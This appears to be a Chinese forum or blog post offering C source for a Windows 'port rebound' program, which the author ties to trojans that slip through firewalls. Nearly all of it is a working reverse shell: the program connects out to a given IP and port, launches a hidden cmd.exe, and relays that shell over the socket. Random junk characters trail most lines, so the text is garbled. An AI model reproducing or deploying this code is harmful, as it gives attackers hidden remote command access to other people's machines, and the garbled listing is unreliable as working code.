Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 '-*r&:  
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/* ============================== k%LE"Q  
Rebound port in Windows NT X~j A*kmAj  
By wind,2006/7 XM)|v|  
===============================*/ E O}(MXS  
#include Q647a}  
#include }x8fXdd  
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#pragma comment(lib,"wsock32.lib") [Z[)hUXE?  
nU`;MW/^w  
void OutputShell(); >U}~Hv]  
SOCKET sClient; `C=p7%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Tq?W @DM*  
q`\lvdl  
void main(int argc,char **argv) 8cd,SQ}y  
{ }M1<a4~  
WSADATA stWsaData; 7>4t{aRf_8  
int nRet; ](W#Tj5-  
SOCKADDR_IN stSaiClient,stSaiServer; Xau.4&\d  
;3-ssF}k*  
if(argc != 3) TLkkB09fvk  
{ f8n'9HOw>  
printf("Useage:\n\rRebound DestIP DestPort\n"); zb3ir|  
return; B 51LZP  
} &v`kyc  
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WSAStartup(MAKEWORD(2,2),&stWsaData); F )tNA?p)  

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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n^A=ar.  
AfY(+w6!K  
stSaiClient.sin_family = AF_INET; :@p`E}1r{  
stSaiClient.sin_port = htons(0); !cq4+0{O;&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Sj*H4ZHD<&  
<^&'r5H  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sO*6F`eiZ  
{ w(@`g/b  
printf("Bind Socket Failed!\n"); SHaZ-d  
return; y}3V3uqK  
} QO%LSRw  
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stSaiServer.sin_family = AF_INET; ar{e<&Bny  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >Te{a*`"m:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7eO8cPy
 
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) eFx*lYjA  
{ k{;:KW|  
printf("Connect Error!"); ,CdI.kV>o2  
return; zZy>XHR H  
} M\]E;C'"U  
OutputShell();
Fb*;5VNU.  
} 5|/vc*m_0'  
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void OutputShell() nQgn^z#  
{ D +oo5  
char szBuff[1024]; EuAa  
SECURITY_ATTRIBUTES stSecurityAttributes; g5?Fo%W  
OSVERSIONINFO stOsversionInfo; S !e0:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qlzL<  
STARTUPINFO stStartupInfo; 9hq7:  
char *szShell; 3)7'dM  
PROCESS_INFORMATION stProcessInformation; 1n,JynJ  
unsigned long lBytesRead; 6-^+btl)#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VOiphw`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;xRyONt  
stSecurityAttributes.lpSecurityDescriptor = 0; 9DT}sCLz:B  
stSecurityAttributes.bInheritHandle = TRUE; d E
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z C``G<TB  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?LW1D+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1k7E[G~G|  
X$xqu\t7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "47nc1T+n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8=?I/9Xh  
stStartupInfo.wShowWindow = SW_HIDE; UOwj"#  
stStartupInfo.hStdInput = hReadPipe; Y8N&[L[z&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z<wg`  
n b{8zo  
GetVersionEx(&stOsversionInfo); yf$7<gwX  
fL@[B{XMM  
switch(stOsversionInfo.dwPlatformId) qv<VKJTi6]  
{ ik]UzB  
case 1: Sz._XY^  
szShell = "command.com"; -V+fQGZe  
break; ;<*VwXJR  
default: aH~il!K  
szShell = "cmd.exe"; -}>Q0d)  
break; Z2ZS5a  
} c2i^dNp_  
+Y\#'KrA  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l>:?U  
"kL5HD]TC  
send(sClient,szMsg,77,0); I7}[%(~Sf/  
while(1) &2g1Oy~  
{ D]0#A|nF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5-sxTp  
if(lBytesRead) \;sUJr"$  
{ ]__M*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .z9JoQ  
send(sClient,szBuff,lBytesRead,0); #A|MNJ%m  
} Axcm~!uf  
else i\3
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{ ;\H2U.  
lBytesRead=recv(sClient,szBuff,1024,0); -W oZwqh  
if(lBytesRead<=0) break; #\"5:.H Oz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &^Xm4r%u_  
} `fL$t0"  
} Ms$kL'/  
YlYTH_L>E  
return; 2#rF/!`^  
}